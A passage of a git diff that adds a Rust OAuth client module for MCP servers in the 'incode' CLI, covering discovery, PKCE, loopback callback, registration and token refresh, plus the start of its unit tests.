+/// +/// # Errors +/// +/// The token file could not be written. +pub fn save(store: &Path, name: &str, url: &str, tokens: &Stored) -> Result<(), String> { + let mut file = read_store(store); + file.tokens.insert(key(name, url), tokens.clone()); + write_store(store, &file) +} + +/// Forget every token stored for `name`, at any address. Whether there was one. +/// +/// # Errors +/// +/// The token file could not be written. +pub fn forget(store: &Path, name: &str) -> Result { + let mut file = read_store(store); + let before = file.tokens.len(); + // The address has no space in it, so the name is all before the last. + file.tokens + .retain(|k, _| k.rsplit_once(' ').map(|(named, _)| named) != Some(name)); + if file.tokens.len() == before { + return Ok(false); + } + write_store(store, &file)?; + Ok(true) +} + +/// Whether `tokens` should be refreshed before being sent at `now`: it has a +/// lifetime, and it ends within [`REFRESH_MARGIN_SECS`]. +#[must_use] +pub fn needs_refresh(tokens: &Stored, now: u64) -> bool { + tokens + .expires_at + .is_some_and(|at| now.saturating_add(REFRESH_MARGIN_SECS) >= at) +} + +/// For `incode mcp list`: whether `name` at `url` is logged in. `None` when +/// there is nothing to say (no token, and no `"oauth"` entry). +#[must_use] +pub fn status(store: &Path, name: &str, url: &str, configured: bool) -> Option { + let Some(tokens) = load(store, name, url) else { + return configured.then(|| format!("OAuth: not logged in — incode mcp login {name}")); + }; + Some(match tokens.expires_at { + Some(_) if !needs_refresh(&tokens, now_secs()) => "OAuth: logged in".to_string(), + Some(_) if tokens.refresh_token.is_some() => { + "OAuth: logged in (token expired; refreshed on next use)".to_string() + } + Some(_) => format!("OAuth: token expired — incode mcp login {name}"), + None => "OAuth: logged in".to_string(), + }) +} + +// --------------------------------------------------------------------------- +// Discovery +// --------------------------------------------------------------------------- + +/// What a `WWW-Authenticate: Bearer …` challenge says. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub(crate) struct Challenge { + pub(crate) resource_metadata: Option, + pub(crate) scope: Option, +} + +/// A `Bearer` challenge's parameters; `None` for another scheme. +pub(crate) fn parse_challenge(header: &str) -> Option { + let header = header.trim(); + let scheme_end = header.find(char::is_whitespace).unwrap_or(header.len()); + if !header[..scheme_end].eq_ignore_ascii_case("bearer") { + return None; + } + let mut challenge = Challenge::default(); + let mut rest = header[scheme_end..].chars().peekable(); + loop { + while rest.next_if(|c| c.is_whitespace() || *c == ',').is_some() {} + let name: String = std::iter::from_fn(|| rest.next_if(|c| *c != '=' && *c != ',')) + .collect::() + .trim() + .to_ascii_lowercase(); + if name.is_empty() || rest.next_if_eq(&'=').is_none() { + break; + } + while rest.next_if(|c| c.is_whitespace()).is_some() {} + let mut value = String::new(); + if rest.next_if_eq(&'"').is_some() { + while let Some(c) = rest.next() { + match c { + '\\' => value.extend(rest.next()), + '"' => break, + c => value.push(c), + } + } + } else { + value = std::iter::from_fn(|| rest.next_if(|c| *c != ',')) + .collect::() + .trim() + .to_string(); + } + match name.as_str() { + "resource_metadata" => challenge.resource_metadata = Some(value), + "scope" => challenge.scope = Some(value), + _ => {} + } + } + Some(challenge) +} + +/// `url` parsed, and an address a token may travel to. +fn checked(url: &str, what: &str) -> Result { + crate::agent::catalogue::key_may_travel_to(url).map_err(|why| format!("{what}: {why}"))?; + Url::parse(url).map_err(|e| format!("{what}: {e}")) +} + +/// `well_known` inserted between `url`'s host and its path (RFC 8414 §3, +/// RFC 9728 §3.1), and — when it has a path — at the root as well. +fn well_known(url: &Url, well_known: &str) -> Vec { + let origin = url.origin().ascii_serialization(); + let path = url.path().trim_end_matches('/'); + let mut candidates = Vec::new(); + if !path.is_empty() { + candidates.push(format!("{origin}/.well-known/{well_known}{path}")); + } + candidates.push(format!("{origin}/.well-known/{well_known}")); + candidates +} + +/// Where a server's Protected Resource Metadata may be, absent a challenge +/// that names it. +pub(crate) fn resource_metadata_candidates(server: &str) -> Result, String> { + let url = checked(server, "the server's address")?; + Ok(well_known(&url, "oauth-protected-resource")) +} + +/// Where an authorization server's metadata may be, in the order the MCP spec +/// gives: RFC 8414 with the path inserted, OpenID with the path inserted, +/// OpenID with the path appended — or, for an issuer with no path, RFC 8414 +/// then OpenID at the root. +pub(crate) fn as_metadata_candidates(issuer: &str) -> Result, String> { + let url = checked(issuer, "the authorization server")?; + let origin = url.origin().ascii_serialization(); + let path = url.path().trim_end_matches('/'); + Ok(if path.is_empty() { + vec![ + format!("{origin}/.well-known/oauth-authorization-server"), + format!("{origin}/.well-known/openid-configuration"), + ] + } else { + vec![ + format!("{origin}/.well-known/oauth-authorization-server{path}"), + format!("{origin}/.well-known/openid-configuration{path}"), + format!("{origin}{path}/.well-known/openid-configuration"), + ] + }) +} + +/// A server's Protected Resource Metadata (RFC 9728). +#[derive(Debug, Clone, Default, PartialEq, Eq, Deserialize)] +pub(crate) struct ResourceMetadata { + #[serde(default)] + pub(crate) resource: Option, + #[serde(default)] + pub(crate) authorization_servers: Vec, + #[serde(default)] + pub(crate) scopes_supported: Vec, +} + +/// An authorization server's metadata (RFC 8414, or OpenID's). +#[derive(Debug, Clone, Default, PartialEq, Eq, Deserialize)] +pub(crate) struct ServerMetadata { + #[serde(default)] + pub(crate) issuer: Option, + pub(crate) authorization_endpoint: String, + pub(crate) token_endpoint: String, + #[serde(default)] + pub(crate) registration_endpoint: Option, + #[serde(default)] + pub(crate) code_challenge_methods_supported: Option>, +} + +/// Resource metadata read from `text`, for the server at `server`: it must +/// name an authorization server, and a resource on the server's own origin. +pub(crate) fn parse_resource_metadata( + text: &str, + server: &str, +) -> Result { + let metadata: ResourceMetadata = serde_json::from_str(text) + .map_err(|e| format!("its resource metadata is not valid: {e}"))?; + if metadata.authorization_servers.is_empty() { + return Err("its resource metadata names no authorization server".to_string()); + } + if let Some(resource) = &metadata.resource { + let named = Url::parse(resource).map_err(|e| format!("its resource is not a url: {e}"))?; + let own = Url::parse(server).map_err(|e| e.to_string())?; + if named.origin() != own.origin() { + return Err(format!( + "its resource metadata names a resource on another origin ({})", + named.origin().ascii_serialization() + )); + } + } + Ok(metadata) +} + +/// Same issuer, ignoring one trailing slash. +fn same_issuer(a: &str, b: &str) -> bool { + a.trim_end_matches('/') == b.trim_end_matches('/') +} + +/// Authorization server metadata read from `text`, for `issuer`: the issuer +/// it names must be that one, every endpoint must be one a token may travel +/// to, and its PKCE methods, when listed, must include S256. +pub(crate) fn parse_server_metadata(text: &str, issuer: &str) -> Result { + let metadata: ServerMetadata = serde_json::from_str(text) + .map_err(|e| format!("the authorization server's metadata is not valid: {e}"))?; + if let Some(named) = &metadata.issuer { + if !same_issuer(named, issuer) { + return Err(format!( + "the authorization server's metadata names another issuer (`{named}`, not \ + `{issuer}`)" + )); + } + } + checked( + &metadata.authorization_endpoint, + "its authorization endpoint", + )?; + checked(&metadata.token_endpoint, "its token endpoint")?; + if let Some(endpoint) = &metadata.registration_endpoint { + checked(endpoint, "its registration endpoint")?; + } + if let Some(methods) = &metadata.code_challenge_methods_supported { + if !methods.iter().any(|m| m == "S256") { + return Err("the authorization server does not support PKCE with S256".to_string()); + } + } + Ok(metadata) +} + +/// What discovery found for one server. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct Discovered { + pub(crate) server: ServerMetadata, + /// The `resource` parameter: the resource metadata's, else the server's + /// own address. + pub(crate) resource: String, + /// The scopes to ask for when the configuration names none. + pub(crate) scopes: Vec, +} + +/// A JSON document at `url`: `None` for an answer that is not a success. +async fn fetch_json(client: &reqwest::Client, url: &str) -> Result, String> { + let response = client + .get(url) + .header(ACCEPT, "application/json") + .timeout(HTTP_BOUND) + .send() + .await + .map_err(|e| format!("{url} could not be reached: {}", e.without_url()))?; + if !response.status().is_success() { + return Ok(None); + } + read_bounded(response).await.map(Some) +} + +/// A body as text, refused past [`MAX_BODY_BYTES`]. +async fn read_bounded(mut response: reqwest::Response) -> Result { + let mut body = Vec::new(); + while let Some(piece) = response + .chunk() + .await + .map_err(|e| format!("an answer stopped early: {}", e.without_url()))? + { + if body.len() + piece.len() > MAX_BODY_BYTES { + return Err(format!("an answer was larger than {MAX_BODY_BYTES} bytes")); + } + body.extend_from_slice(&piece); + } + String::from_utf8(body).map_err(|_| "an answer was not UTF-8".to_string()) +} + +/// Find the authorization server for the MCP server at `server`. +async fn discover(server: String) -> Result { + checked(&server, "the server's address")?; + let client = crate::runtime::http::no_redirect_client()?; + let hello = json!({"jsonrpc": "2.0", "id": 0, "method": "initialize", + "params": {"protocolVersion": crate::mcp_stdio::PROTOCOL_VERSION, + "capabilities": {}, + "clientInfo": {"name": "incode", + "version": env!("CARGO_PKG_VERSION")}}}); + let probe = client + .post(&server) + .header(CONTENT_TYPE, "application/json") + .header(ACCEPT, "application/json, text/event-stream") + .timeout(HTTP_BOUND) + .body(hello.to_string()) + .send() + .await + .map_err(|e| format!("the server could not be reached: {}", e.without_url()))?; + let challenge = if probe.status() == StatusCode::UNAUTHORIZED { + probe + .headers() + .get_all(WWW_AUTHENTICATE) + .iter() + .filter_map(|v| v.to_str().ok()) + .find_map(parse_challenge) + .unwrap_or_default() + } else { + Challenge::default() + }; + drop(probe); + let mut candidates = Vec::new(); + if let Some(named) = &challenge.resource_metadata { + checked(named, "the resource metadata the server named")?; + candidates.push(named.clone()); + } + candidates.extend(resource_metadata_candidates(&server)?); + let mut resource_metadata = None; + for candidate in &candidates { + if let Some(text) = fetch_json(client, candidate).await? { + resource_metadata = Some(parse_resource_metadata(&text, &server)?); + break; + } + } + let challenged: Vec = challenge + .scope + .iter() + .flat_map(|s| s.split_whitespace().map(str::to_string)) + .collect(); + let (issuer, resource, scopes) = match resource_metadata { + Some(metadata) => ( + metadata.authorization_servers[0].clone(), + metadata.resource.unwrap_or_else(|| server.clone()), + if challenged.is_empty() { + metadata.scopes_supported + } else { + challenged + }, + ), + // No resource metadata: the server is its own authorization server. + None => { + let url = Url::parse(&server).map_err(|e| e.to_string())?; + ( + url.origin().ascii_serialization(), + server.clone(), + challenged, + ) + } + }; + for candidate in as_metadata_candidates(&issuer)? { + if let Some(text) = fetch_json(client, &candidate).await? { + return Ok(Discovered { + server: parse_server_metadata(&text, &issuer)?, + resource, + scopes, + }); + } + } + Err(format!( + "no authorization server metadata was found for {issuer}" + )) +} + +// --------------------------------------------------------------------------- +// PKCE and the authorization request +// --------------------------------------------------------------------------- + +/// 32 random bytes, base64url without padding (43 characters). From two v4 +/// UUIDs — 244 random bits — because `uuid`, already a dependency, is this +/// crate's source of OS randomness; no `rand` is declared. +fn random_token() -> String { + let mut bytes = [0u8; 32]; + bytes[..16].copy_from_slice(uuid::Uuid::new_v4().as_bytes()); + bytes[16..].copy_from_slice(uuid::Uuid::new_v4().as_bytes()); + base64::engine::general_purpose::URL_SAFE_NO_PAD.encode(bytes) +} + +/// A PKCE verifier and its S256 challenge (RFC 7636). +#[derive(Clone, PartialEq, Eq)] +pub(crate) struct Pkce { + pub(crate) verifier: String, + pub(crate) challenge: String, +} + +impl Pkce { + pub(crate) fn new() -> Self { + Self::from_verifier(random_token()) + } + + pub(crate) fn from_verifier(verifier: String) -> Self { + let challenge = base64::engine::general_purpose::URL_SAFE_NO_PAD + .encode(Sha256::digest(verifier.as_bytes())); + Self { + verifier, + challenge, + } + } +} + +/// What an authorization request carries. +pub(crate) struct AuthRequest<'a> { + pub(crate) endpoint: &'a str, + pub(crate) client_id: &'a str, + pub(crate) redirect_uri: &'a str, + pub(crate) scopes: &'a [String], + pub(crate) state: &'a str, + pub(crate) challenge: &'a str, + pub(crate) resource: &'a str, +} + +/// The address the browser is sent to: the endpoint with the request's +/// parameters added to whatever query it already has. +pub(crate) fn authorization_url(request: &AuthRequest<'_>) -> Result { + let mut url = checked(request.endpoint, "its authorization endpoint")?; + { + let mut query = url.query_pairs_mut(); + query + .append_pair("response_type", "code") + .append_pair("client_id", request.client_id) + .append_pair("redirect_uri", request.redirect_uri) + .append_pair("state", request.state) + .append_pair("code_challenge", request.challenge) + .append_pair("code_challenge_method", "S256") + .append_pair("resource", request.resource); + if !request.scopes.is_empty() { + query.append_pair("scope", &request.scopes.join(" ")); + } + } + Ok(url.into()) +} + +// --------------------------------------------------------------------------- +// The loopback redirect +// --------------------------------------------------------------------------- + +/// What one request to the callback listener was. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) enum Arrived { + /// The authorization code, its state verified. + Code(String), + /// Not the callback (a `favicon.ico`, say): answered 404, and waited on. + Elsewhere, +} + +/// The browser's request line (`GET /callback?code=…&state=… HTTP/1.1`), +/// checked against the `state` this login sent. +/// +/// # Errors +/// +/// The state does not match, or the authorization server sent an error, or +/// the callback carries no code. Each ends the login. +pub(crate) fn parse_callback(request_line: &str, state: &str) -> Result { + let mut words = request_line.split_whitespace(); + let (Some(method), Some(target)) = (words.next(), words.next()) else { + return Ok(Arrived::Elsewhere); + }; + let Ok(url) = Url::parse(&format!("http://127.0.0.1{target}")) else { + return Ok(Arrived::Elsewhere); + }; + if method != "GET" || url.path() != CALLBACK_PATH { + return Ok(Arrived::Elsewhere); + } + let params: BTreeMap = url.query_pairs().into_owned().collect(); + if params.get("state").map(String::as_str) != Some(state) { + return Err( + "the authorization server's answer carried the wrong state; the login \ + was abandoned" + .to_string(), + ); + } + if let Some(error) = params.get("error") { + let said = params + .get("error_description") + .map(|d| format!(": {}", d.chars().take(200).collect::())) + .unwrap_or_default(); + let error: String = error.chars().take(60).collect(); + return Err(format!("the authorization server refused: {error}{said}")); + } + match params.get("code").filter(|c| !c.is_empty()) { + Some(code) => Ok(Arrived::Code(code.clone())), + None => Err("the authorization server's answer carried no code".to_string()), + } +} + +/// A one-login listener on `127.0.0.1`. +pub(crate) struct Callback { + listener: TcpListener, + pub(crate) redirect_uri: String, +} + +impl Callback { + /// Listen on `port`, or an ephemeral one. + pub(crate) fn bind(port: Option) -> Result { + let listener = TcpListener::bind(("127.0.0.1", port.unwrap_or(0))) + .map_err(|e| format!("could not listen for the browser on 127.0.0.1: {e}"))?; + let port = listener.local_addr().map_err(|e| e.to_string())?.port(); + Ok(Self { + listener, + redirect_uri: format!("http://127.0.0.1:{port}{CALLBACK_PATH}"), + }) + } + + /// The authorization code, once the browser brings it back with `state`, + /// within `bound`. Every request is answered with a small page. + pub(crate) fn wait(&self, state: &str, bound: Duration) -> Result { + self.listener + .set_nonblocking(true) + .map_err(|e| e.to_string())?; + let deadline = Instant::now() + bound; + loop { + if Instant::now() >= deadline { + return Err(format!( + "the browser did not come back within {}s", + bound.as_secs() + )); + } + let mut stream = match self.listener.accept() { + Ok((stream, _)) => stream, + Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => { + std::thread::sleep(Duration::from_millis(50)); + continue; + } + Err(e) => return Err(format!("the callback listener failed: {e}")), + }; + let line = read_request_line(&mut stream); + match parse_callback(&line, state) { + Ok(Arrived::Code(code)) => { + reply( + &mut stream, + 200, + "Signed in. You can close this tab and go back to incode.", + ); + return Ok(code); + } + Ok(Arrived::Elsewhere) => reply(&mut stream, 404, "Not found."), + Err(why) => { + reply(&mut stream, 400, "The sign-in failed. See incode for why."); + return Err(why); + } + } + } + } +} + +/// The first line of a request, bounded in size and time. +fn read_request_line(stream: &mut TcpStream) -> String { + let _ = stream.set_nonblocking(false); + let _ = stream.set_read_timeout(Some(Duration::from_secs(5))); + let mut read = Vec::new(); + let mut buf = [0u8; 1024]; + while read.len() < MAX_CALLBACK_BYTES && !read.windows(4).any(|w| w == b"\r\n\r\n") { + match stream.read(&mut buf) { + Ok(0) | Err(_) => break, + Ok(n) => read.extend_from_slice(&buf[..n]), + } + } + let text = String::from_utf8_lossy(&read); + text.lines().next().unwrap_or("").to_string() +} + +/// A small HTML page; `said` is fixed text, never what the request carried. +fn reply(stream: &mut TcpStream, status: u16, said: &str) { + let reason = match status { + 200 => "OK", + 404 => "Not Found", + _ => "Bad Request", + }; + let body = format!( + "incode\ +

{said}

" + ); + let _ = write!( + stream, + "HTTP/1.1 {status} {reason}\r\nContent-Type: text/html; charset=utf-8\r\n\ + Content-Length: {}\r\nConnection: close\r\nCache-Control: no-store\r\n\r\n{body}", + body.len() + ); + let _ = stream.flush(); +} + +/// Open `url` in the user's browser; whether a browser was started is not +/// known, so the address is always printed as well. +pub fn open_browser(url: &str) { + let mut command = if cfg!(target_os = "macos") { + let mut c = std::process::Command::new("open"); + c.arg(url); + c + } else if cfg!(windows) { + // `start` is a cmd built-in; `&` would end the command there, so it + // is escaped. The empty argument, which reaches cmd as `""`, is the window + // title `start` takes first. + let mut c = std::process::Command::new("cmd"); + c.args(["/c", "start", "", &url.replace('&', "^&")]); + c + } else { + let mut c = std::process::Command::new("xdg-open"); + c.arg(url); + c + }; + command + .stdin(std::process::Stdio::null()) + .stdout(std::process::Stdio::null()) + .stderr(std::process::Stdio::null()); + if let Ok(mut child) = command.spawn() { + std::thread::spawn(move || child.wait()); + } +} + +// --------------------------------------------------------------------------- +// Registration and tokens +// --------------------------------------------------------------------------- + +/// A client: its id, and its secret if it has one. +#[derive(Clone, PartialEq, Eq)] +struct Client { + id: String, + secret: Option, +} + +/// Register incode as a public client (RFC 7591) for `redirect_uri`. +async fn register(endpoint: String, redirect_uri: String) -> Result { + checked(&endpoint, "its registration endpoint")?; + let client = crate::runtime::http::no_redirect_client()?; + let request = json!({ + "client_name": "incode", + "redirect_uris": [redirect_uri], + "grant_types": ["authorization_code", "refresh_token"], + "response_types": ["code"], + "token_endpoint_auth_method": "none", + }); + let response = client + .post(&endpoint) + .header(ACCEPT, "application/json") + .json(&request) + .timeout(HTTP_BOUND) + .send() + .await + .map_err(|e| format!("registration failed: {}", e.without_url()))?; + let status = response.status(); + let text = read_bounded(response).await?; + if !status.is_success() { + return Err(format!( + "registration was refused ({status}){}", + oauth_error(&text) + )); + } + let answer: Value = + serde_json::from_str(&text).map_err(|e| format!("registration's answer: {e}"))?; + let id = answer["client_id"] + .as_str() + .filter(|id| !id.is_empty()) + .ok_or("registration's answer carried no client_id")?; + Ok(Client { + id: id.to_string(), + secret: answer["client_secret"].as_str().map(str::to_string), + }) +} + +/// An OAuth error answer's `error` (and description), for a message; never +/// the answer itself, which could carry anything. +fn oauth_error(text: &str) -> String { + let Ok(answer) = serde_json::from_str::(text) else { + return String::new(); + }; + let error: String = answer["error"] + .as_str() + .unwrap_or("") + .chars() + .take(60) + .collect(); + if error.is_empty() { + return String::new(); + } + match answer["error_description"].as_str() { + Some(d) => format!(": {error}: {}", d.chars().take(200).collect::()), + None => format!(": {error}"), + } +} + +/// The tokens a token endpoint answered with, as stored. `base` supplies +/// what the answer does not carry: the endpoint and the client, and the +/// refresh token when a refresh answer carries no new one. +pub(crate) fn parse_token_answer(text: &str, now: u64, base: &Stored) -> Result { + let answer: Value = + serde_json::from_str(text).map_err(|e| format!("the token answer is not JSON: {e}"))?; + let access = answer["access_token"] + .as_str() + .filter(|t| !t.is_empty()) + .ok_or("the token answer carried no access_token")?; + if let Some(kind) = answer["token_type"].as_str() { + if !kind.eq_ignore_ascii_case("bearer") { + let kind: String = kind.chars().take(30).collect(); + return Err(format!("the token is of type `{kind}`, not Bearer")); + } + } + let lifetime = answer["expires_in"] + .as_u64() + .or_else(|| answer["expires_in"].as_str().and_then(|s| s.parse().ok())); + Ok(Stored { + access_token: access.to_string(), + refresh_token: answer["refresh_token"] + .as_str() + .map(str::to_string) + .or_else(|| base.refresh_token.clone()), + expires_at: lifetime.map(|secs| now.saturating_add(secs)), + scope: answer["scope"] + .as_str() + .map(str::to_string) + .or_else(|| base.scope.clone()), + ..base.clone() + }) +} + +/// POST `form` to `base`'s token endpoint, and the tokens it answers with. +async fn token_request( + base: Stored, + mut form: Vec<(&'static str, String)>, +) -> Result { + checked(&base.token_endpoint, "its token endpoint")?; + form.push(("client_id", base.client_id.clone())); + if let Some(secret) = &base.client_secret { + form.push(("client_secret", secret.clone())); + } + if let Some(resource) = &base.resource { + form.push(("resource", resource.clone())); + } + let client = crate::runtime::http::no_redirect_client()?; + let response = client + .post(&base.token_endpoint) + .header(ACCEPT, "application/json") + .form(&form) + .timeout(HTTP_BOUND) + .send() + .await + .map_err(|e| { + format!( + "the token endpoint could not be reached: {}", + e.without_url() + ) + })?; + let status = response.status(); + let text = read_bounded(response).await?; + if !status.is_success() { + return Err(format!( + "the token endpoint refused ({status}){}", + oauth_error(&text) + )); + } + parse_token_answer(&text, now_secs(), &base) +} + +/// Trade `stored`'s refresh token for new tokens. +async fn refresh(stored: Stored) -> Result { + let token = stored + .refresh_token + .clone() + .ok_or("it has no refresh token")?; + token_request( + stored, + vec![ + ("grant_type", "refresh_token".to_string()), + ("refresh_token", token), + ], + ) + .await +} + +// --------------------------------------------------------------------------- +// `incode mcp login` +// --------------------------------------------------------------------------- + +/// Log in to the server `name` at `url`, keeping its tokens in `store`. +/// `say` is told what the person must see — the address to visit — and +/// `open` is handed that address to open in a browser. +/// +/// # Errors +/// +/// Discovery, registration, the browser's answer or the token exchange +/// failed, or the token file could not be written. +pub fn login( + name: &str, + url: &str, + config: &OAuthConfig, + store: &Path, + say: &dyn Fn(&str), + open: &dyn Fn(&str), +) -> Result { + let discovered = crate::runtime::http::run_async(discover(url.to_string()))?; + let callback = Callback::bind(config.callback_port)?; + let client = match (&config.client_id, &discovered.server.registration_endpoint) { + (Some(id), _) => Client { + id: id.clone(), + secret: config.client_secret.clone(), + }, + (None, Some(endpoint)) => crate::runtime::http::run_async(register( + endpoint.clone(), + callback.redirect_uri.clone(), + ))?, + (None, None) => { + return Err(format!( + "the authorization server offers no dynamic client registration; register a \ + client with it and add `\"oauth\": {{\"client_id\": \"…\"}}` to `{name}`'s entry" + )) + } + }; + let pkce = Pkce::new(); + let state = random_token(); + let scopes = if config.scopes.is_empty() { + discovered.scopes.clone() + } else { + config.scopes.clone() + }; + let address = authorization_url(&AuthRequest { + endpoint: &discovered.server.authorization_endpoint, + client_id: &client.id, + redirect_uri: &callback.redirect_uri, + scopes: &scopes, + state: &state, + challenge: &pkce.challenge, + resource: &discovered.resource, + })?; + say(&format!( + "Opening your browser to authorize `{name}`. If it does not open, visit:\n\n {address}\n" + )); + open(&address); + let code = callback.wait(&state, CALLBACK_BOUND)?; + let base = Stored { + access_token: String::new(), + refresh_token: None, + expires_at: None, + token_endpoint: discovered.server.token_endpoint.clone(), + client_id: client.id, + client_secret: client.secret, + resource: Some(discovered.resource.clone()), + scope: (!scopes.is_empty()).then(|| scopes.join(" ")), + }; + let form = vec![ + ("grant_type", "authorization_code".to_string()), + ("code", code), + ("redirect_uri", callback.redirect_uri.clone()), + ("code_verifier", pkce.verifier), + ]; + let tokens = crate::runtime::http::run_async(token_request(base, form))?; + save(store, name, url, &tokens)?; + Ok(format!( + "logged in to `{name}`; its token is kept in {}", + store.display() + )) +} + +// --------------------------------------------------------------------------- +// In a session +// --------------------------------------------------------------------------- + +/// The bearer token for one HTTP server in a session, refreshed as needed. +pub(crate) struct TokenSource { + name: String, + url: String, + store: PathBuf, + held: tokio::sync::Mutex>, +} + +impl TokenSource { + pub(crate) fn new(binding: &Binding, url: &str) -> Self { + Self { + held: tokio::sync::Mutex::new(load(&binding.store, &binding.name, url)), + name: binding.name.clone(), + url: url.to_string(), + store: binding.store.clone(), + } + } + + /// What to tell the person when the server will not take this session's + /// requests. + fn login_hint(&self, why: &str) -> String { + format!("{why}: run `incode mcp login {}`", self.name) + } + + /// Refresh `held`, keep the result, and return the new access token. + async fn refresh_held(&self, held: &mut Option) -> Result { + let Some(stored) = held.clone() else { + return Err(self.login_hint("it needs OAuth authorization")); + }; + let fresh = refresh(stored).await.map_err(|why| { + self.login_hint(&format!("its OAuth token could not be refreshed ({why})")) + })?; + if let Err(why) = save(&self.store, &self.name, &self.url, &fresh) { + crate::trace!( + "mcp", + "`{}`: a refreshed token was not kept: {why}", + self.name + ); + } + let access = fresh.access_token.clone(); + *held = Some(fresh); + crate::trace!("mcp", "`{}`: OAuth token refreshed", self.name); + Ok(access) + } + + /// The token to send now, refreshed first when it has expired; `None` + /// when there is none. A refresh that fails sends the old token, and the + /// server's `401` says the rest. + pub(crate) async fn current(&self) -> Option { + let mut held = self.held.lock().await; + if held.is_none() { + // A login since the session started. + *held = load(&self.store, &self.name, &self.url); + } + let stored = held.as_ref()?; + if needs_refresh(stored, now_secs()) && stored.refresh_token.is_some() { + if let Ok(access) = self.refresh_held(&mut held).await { + return Some(access); + } + } + held.as_ref().map(|s| s.access_token.clone()) + } + + /// A token to try once more after the server answered `401` to + /// `rejected`: one a login stored meanwhile, else a refreshed one. + pub(crate) async fn renew(&self, rejected: Option<&str>) -> Result { + let mut held = self.held.lock().await; + if let Some(on_disk) = load(&self.store, &self.name, &self.url) { + if Some(on_disk.access_token.as_str()) != rejected { + let access = on_disk.access_token.clone(); + *held = Some(on_disk); + return Ok(access); + } + *held = Some(on_disk); + } + match held.as_ref() { + Some(stored) if stored.refresh_token.is_some() => self.refresh_held(&mut held).await, + Some(_) => Err(self.login_hint("its OAuth token was refused and cannot be refreshed")), + None => Err(self.login_hint("it needs OAuth authorization")), + } + } + + /// The message for a token refused again right after renewing it. + pub(crate) fn refused(&self) -> String { + self.login_hint("it refused its OAuth token (401)") + } + + /// The token held now, without waiting, for a request sent on the way + /// out. + pub(crate) fn held_now(&self) -> Option { + self.held + .try_lock() + .ok() + .and_then(|held| held.as_ref().map(|s| s.access_token.clone())) + } +} + +/// `Authorization: Bearer `, marked sensitive. +pub(crate) fn bearer_header(token: &str) -> Option { + let mut value = HeaderValue::from_str(&format!("Bearer {token}")).ok()?; + value.set_sensitive(true); + Some(value) +} + +#[cfg(test)] +#[path = "mcp_oauth_tests.rs"] +mod tests; diff --git a/src/mcp_oauth_tests.rs b/src/mcp_oauth_tests.rs new file mode 100644 index 0000000..d4472fc --- /dev/null +++ b/src/mcp_oauth_tests.rs @@ -0,0 +1,818 @@ +use super::*; +use crate::toolbox::Connected; +use crate::toolbox::{ServerSpec, Transport}; +use http_body_util::{BodyExt, Full}; +use hyper::body::{Bytes, Incoming}; +use hyper::{Request, Response}; +use std::collections::BTreeSet; +use std::convert::Infallible; +use std::sync::{Arc, Mutex}; + +// --------------------------------------------------------------------------- +// Discovery +// --------------------------------------------------------------------------- + +#[test] +fn a_bearer_challenge_is_parsed_and_another_scheme_is_not() { + let challenge = parse_challenge( + r#"Bearer realm="mcp", resource_metadata="https://s.example/.well-known/oauth-protected-resource/mcp", scope="read write""#, + ) + .expect("bearer"); + assert_eq!( + challenge.resource_metadata.as_deref(), + Some("https://s.example/.well-known/oauth-protected-resource/mcp") + ); + assert_eq!(challenge.scope.as_deref(), Some("read write")); + let bare = parse_challenge("bearer error=invalid_token,scope=a").expect("bearer"); + assert_eq!(bare.scope.as_deref(), Some("a")); + assert_eq!(bare.resource_metadata, None); + let escaped = parse_challenge(r#"Bearer scope="a \"b\"""#).expect("bearer"); + assert_eq!(escaped.scope.as_deref(), Some(r#"a "b""#)); + assert_eq!(parse_challenge("Bearer"), Some(Challenge::default())); + assert_eq!(parse_challenge(r#"Basic realm="x""#), None); + assert_eq!(parse_challenge("Bearerish x=y"), None); +} + +#[test] +fn well_known_addresses_are_built_with_the_path_inserted() { + assert_eq!( + resource_metadata_candidates("https://s.example/api/mcp").expect("ok"), + [ + "https://s.example/.well-known/oauth-protected-resource/api/mcp", + "https://s.example/.well-known/oauth-protected-resource", + ] + ); + assert_eq!( + resource_metadata_candidates("https://s.example/").expect("ok"), + ["https://s.example/.well-known/oauth-protected-resource"] + ); + assert_eq!( + as_metadata_candidates("https://auth.example/tenant1").expect("ok"), + [ + "https://auth.example/.well-known/oauth-authorization-server/tenant1", + "https://auth.example/.well-known/openid-configuration/tenant1", + "https://auth.example/tenant1/.well-known/openid-configuration", + ] + ); + assert_eq!( + as_metadata_candidates("https://auth.example").expect("ok"), + [ + "https://auth.example/.well-known/oauth-authorization-server", + "https://auth.example/.well-known/openid-configuration", + ] + ); + assert!( + as_metadata_candidates("http://auth.example").is_err(), + "plain http elsewhere" + ); + assert!( + as_metadata_candidates("http://127.0.0.1:9/a").is_ok(), + "loopback" + ); +} + +#[test] +fn metadata_is_parsed_and_checked() { + let server = "https://s.example/mcp"; + let resource = parse_resource_metadata( + r#"{"resource": "https://s.example/mcp", "authorization_servers": ["https://auth.example"], + "scopes_supported": ["read"]}"#, + server, + ) + .expect("resource metadata"); + assert_eq!(resource.authorization_servers, ["https://auth.example"]); + assert_eq!(resource.scopes_supported, ["read"]); + let elsewhere = parse_resource_metadata( + r#"{"resource": "https://other.example/mcp", "authorization_servers": ["https://a.example"]}"#, + server, + ); + assert!(elsewhere + .expect_err("other origin") + .contains("another origin")); + assert!(parse_resource_metadata(r#"{"authorization_servers": []}"#, server).is_err()); + + let good = r#"{"issuer": "https://auth.example/", "authorization_endpoint": "https://auth.example/authorize", + "token_endpoint": "https://auth.example/token", "registration_endpoint": "https://auth.example/register", + "code_challenge_methods_supported": ["plain", "S256"]}"#; + let metadata = parse_server_metadata(good, "https://auth.example").expect("metadata"); + assert_eq!(metadata.token_endpoint, "https://auth.example/token"); + assert_eq!( + metadata.registration_endpoint.as_deref(), + Some("https://auth.example/register") + ); + let wrong_issuer = parse_server_metadata(good, "https://evil.example"); + assert!(wrong_issuer.expect_err("issuer").contains("another issuer")); + let no_s256 = good.replace(r#"["plain", "S256"]"#, r#"["plain"]"#); + assert!(parse_server_metadata(&no_s256, "https://auth.example") + .expect_err("pkce") + .contains("S256")); + let clear = good.replace("https://auth.example/token", "http://auth.example/token"); + assert!(parse_server_metadata(&clear, "https://auth.example").is_err()); + assert!(parse_server_metadata(r#"{"issuer": "x"}"#, "x").is_err()); +} + +// --------------------------------------------------------------------------- +// PKCE, the authorization request and the callback +// --------------------------------------------------------------------------- + +#[test] +fn the_pkce_challenge_is_s256_of_the_verifier() { + // RFC 7636, appendix B. + let pkce = 